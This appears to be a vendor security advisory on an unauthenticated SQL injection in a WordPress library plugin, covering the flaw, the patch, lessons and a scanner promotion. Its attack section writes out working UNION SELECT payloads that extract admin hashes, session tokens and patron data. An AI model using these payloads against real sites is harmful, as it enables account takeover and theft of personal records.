CVE-2025-12707: SQL Injection in Library Management System
Overview
- CVE: CVE-2025-12707
- Plugin: Library Management System (owthub)
- Affected Versions: All versions up to and including 3.2.1
- Patched Version: 3.3
- CVSS: 9.3 (Critical)
- Authentication: None required (unauthenticated)
- Type: Unauthenticated SQL Injection
- Disclosed: February 19, 2026
Disclosed on February 19, 2026, CVE-2025-12707 is an unauthenticated SQL injection vulnerability in the WordPress plugin Library Management System by owthub. The bid parameter is incorporated into SQL queries without any sanitization or validation, allowing an unauthenticated remote attacker to read the entire database contents. Given that this plugin is primarily deployed by educational institutions and public libraries, the affected user base faces direct exposure of personal information and library patron records — with legal and reputational consequences that go well beyond a typical plugin compromise.
What Happened
Library Management System is a WordPress plugin that handles library operations: book lending, inventory search, patron management, and more. It is used predominantly in academic libraries, public libraries, and school settings — environments where WordPress handles sensitive personal data alongside day-to-day administrative functions.
The plugin provides an endpoint for retrieving book details and lending information using the request parameter bid (Book ID). The root cause is a classic SQL injection mistake: the value of bid is concatenated directly into the SQL query string without passing it through intval(), $wpdb->prepare(), or any other sanitization function.
// Vulnerable code (simplified)
$bid = $_GET['bid'];
$query = "SELECT * FROM {$wpdb->prefix}lms_books WHERE id = $bid";
$result = $wpdb->get_row($query);
Because $bid is inserted as a raw string, an attacker can inject arbitrary SQL syntax and alter the semantics of the query entirely. Compounding the problem, the endpoint requires no WordPress authentication whatsoever. Any internet-accessible WordPress installation running this plugin is reachable by anyone with a browser or a simple script.
How the Attack Works
The attack proceeds in stages, starting with error-based fingerprinting to confirm the injection point, and escalating to UNION SELECT-based data extraction.
Step 1: Confirm the injection point
Injecting a single quote into the bid parameter reveals whether the value is being passed directly into SQL.
GET /wp-admin/admin-ajax.php?action=lms_get_book&bid=1' HTTP/1.1
Host: target-library.example.com
If WordPress returns a database error or the response differs from a normal request, the parameter is confirmed injectable.
Step 2: Determine the column count
UNION SELECT requires the injected query to match the column count of the original query. ORDER BY enumeration identifies the correct number.
GET /wp-admin/admin-ajax.php?action=lms_get_book&bid=1 ORDER BY 5-- -
GET /wp-admin/admin-ajax.php?action=lms_get_book&bid=1 ORDER BY 6-- -
The last ORDER BY value that does not cause an error reveals the column count (in this example, 5 columns).
Step 3: Extract WordPress administrator credentials
With the column count known, the attacker performs a UNION SELECT against wp_users to retrieve the administrator's login name, password hash, and email address.
GET /wp-admin/admin-ajax.php?action=lms_get_book&bid=-1 UNION SELECT 1,user_login,user_pass,user_email,5 FROM wp_users WHERE user_login='admin'-- -
The response contains the administrator's username, the phpass-format password hash ($P$B...), and their email. The hash can then be run through offline cracking tools such as Hashcat with a wordlist.
Step 4: Steal active session tokens
Rather than cracking the password hash, an attacker can extract active session tokens from wp_usermeta and use them directly to hijack an authenticated session without knowing the password.
GET /wp-admin/admin-ajax.php?action=lms_get_book&bid=-1 UNION SELECT 1,meta_value,3,4,5 FROM wp_usermeta WHERE meta_key='session_tokens' AND user_id=1-- -
Step 5: Bulk extraction of patron personal data
Library patron tables typically store full names, email addresses, phone numbers, and borrowing histories. All of this is accessible through the same injection vector.
GET /wp-admin/admin-ajax.php?action=lms_get_book&bid=-1 UNION SELECT 1,member_name,member_email,member_phone,5 FROM wp_lms_members LIMIT 100 OFFSET 0-- -
The entire attack can be scripted and automated. A full database dump from a single instance is achievable within minutes using tools like sqlmap pointed at the vulnerable parameter.
Real-World Impact
The CVSS score of 9.3 (Critical) takes on additional weight when the typical deployment context of this plugin is considered.
- No authentication required: The barrier to exploitation is effectively zero. No account, no token, and no prior knowledge of the target are needed.
- Full database read access: Administrator password hashes, active session tokens, and all patron personal data can be extracted in a single automated session.
- Regulatory exposure: Educational institutions and public libraries operate under strict data protection frameworks — GDPR in Europe, FERPA and state privacy laws in the United States, and equivalent regulations elsewhere. A patron record breach implicates not just security teams but legal and compliance departments.
- Reading history as sensitive data: Library borrowing records touch on intellectual freedom and can reveal personal beliefs, medical interests, or political research. Many jurisdictions treat patron reading histories as specially protected data. Their exposure carries consequences beyond a typical data breach.
- Lateral attack surface: WordPress's
wp_optionstable often contains API keys, SMTP credentials, and third-party service tokens. A successful injection yields these as well, enabling pivot attacks into connected systems. - Delayed detection via session token theft: When an attacker uses a stolen session token rather than a cracked password, there is no login event tied to a new password — making intrusion detection significantly harder.
Fix and Lessons
Fix: Version 3.3 introduces proper sanitization for the bid parameter and other user-supplied inputs throughout the plugin. The fix migrates query construction to WordPress's $wpdb->prepare() prepared statement interface. All sites running Library Management System should update to version 3.3 or later immediately.
Safe code uses parameterized queries exclusively:
// Patched code
$bid = intval($_GET['bid']);
$query = $wpdb->prepare(
"SELECT * FROM {$wpdb->prefix}lms_books WHERE id = %d",
$bid
);
$result = $wpdb->get_row($query);
Lessons:
$wpdb->prepare()is non-negotiable: In WordPress plugin development, concatenating user input directly into SQL query strings is a critical error regardless of any other validation in place. Prepared statements are the only safe pattern.- Integer parameters need integer casting: For parameters that are expected to be numeric IDs, applying
intval()orabsint()before the value reaches the database layer provides an effective secondary barrier even if the prepared statement path is somehow bypassed. - Unauthenticated endpoints require the most scrutiny: AJAX actions and REST endpoints that are reachable without authentication must be reviewed with the assumption that every parameter is attacker-controlled. Sensitive read operations should require at minimum a nonce check and appropriate capability verification.
- Principle of least privilege at the database level: Restricting the WordPress database user to only the privileges it needs limits the blast radius of a successful injection. A database user with only the necessary permissions cannot be used to read arbitrary tables or execute stacked queries.
- Niche plugins carry the same risk at lower visibility: Plugins serving specialized sectors attract less scrutiny from the security research community. A small install base does not mean reduced vulnerability severity — it means reduced likelihood of independent discovery before an attacker finds it first.
Detection with Nyambush
Nyambush continuously scans WordPress plugin version information and raises alerts for any site running a plugin version known to be affected by CVE-2025-12707.
When Library Management System version 3.2.1 or earlier is detected, Nyambush reports it as a Critical finding with a CVSS score of 9.3 and surfaces recommended remediation steps. For educational institutions and public sector organizations, unauthenticated SQL injection represents the highest-priority vulnerability category — both because of the immediate data exposure risk and because of downstream regulatory obligations. Scheduled scans combined with real-time alerts minimize the window between disclosure and remediation, which is where the greatest risk lies.